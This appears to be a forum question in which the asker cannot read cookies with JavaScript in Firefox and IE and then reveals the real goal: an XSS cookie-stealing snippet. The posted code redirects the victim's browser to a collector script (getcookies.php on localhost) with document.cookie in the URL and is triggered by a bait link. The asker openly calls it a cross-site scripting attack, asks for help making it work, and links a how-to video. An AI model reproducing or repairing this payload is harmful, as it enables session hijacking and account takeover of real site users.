title: Cannot read cookies in Firefox and IE
body: <p>I have to read cookies using JavaScript. I am using the <code>document.cookie</code> to do that same. But the method works on Google Chrome only, and not on Firefox and IE 8/9. All the web-pages also show <code>document.cookie</code> as a way to do it.</p>
  
  <p>How can I fetch cookies in Firefox and IE using JavaScript?</p>
  
  <p>Thanks</p>
  
  <p><strong>UPDATE</strong>
  I tested my code on localhost. On testing the code online on <strong>blogspot.com</strong>, it didn't even work on chrome.</p>
  
  <p>Any ways, here's the HTML code:</p>
  
  <pre><code>&lt;script type="text/javascript"&gt;
      function sendCookies(){
          document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie);
      }
  &lt;/script&gt;
  &lt;a onclick="sendCookies()" href="#"&gt;
  click here &lt;/a&gt; to know about XSS attack.
  </code></pre>
  
  <p>While debugging <code>document.cookie</code> in browsers, it shows value in Chrome only. If I replace localhost link a online link, <code>document.cookie</code> is empty, even on Chrome.</p>
  
  <p>Your possible guess is right. This is a sort of cross-site scripting attack.</p>
  
  <p>Any help on this code will be of good use to me?</p>
  
  <p><strong>UPDATE 2:</strong></p>
  
  <p>Here's the link to the video which shows how to perform XSS attack:</p>
  
  <p><a href="http://www.youtube.com/watch?v=qO3iwAxkPxE" rel="nofollow">How to perform XSS attack</a></p>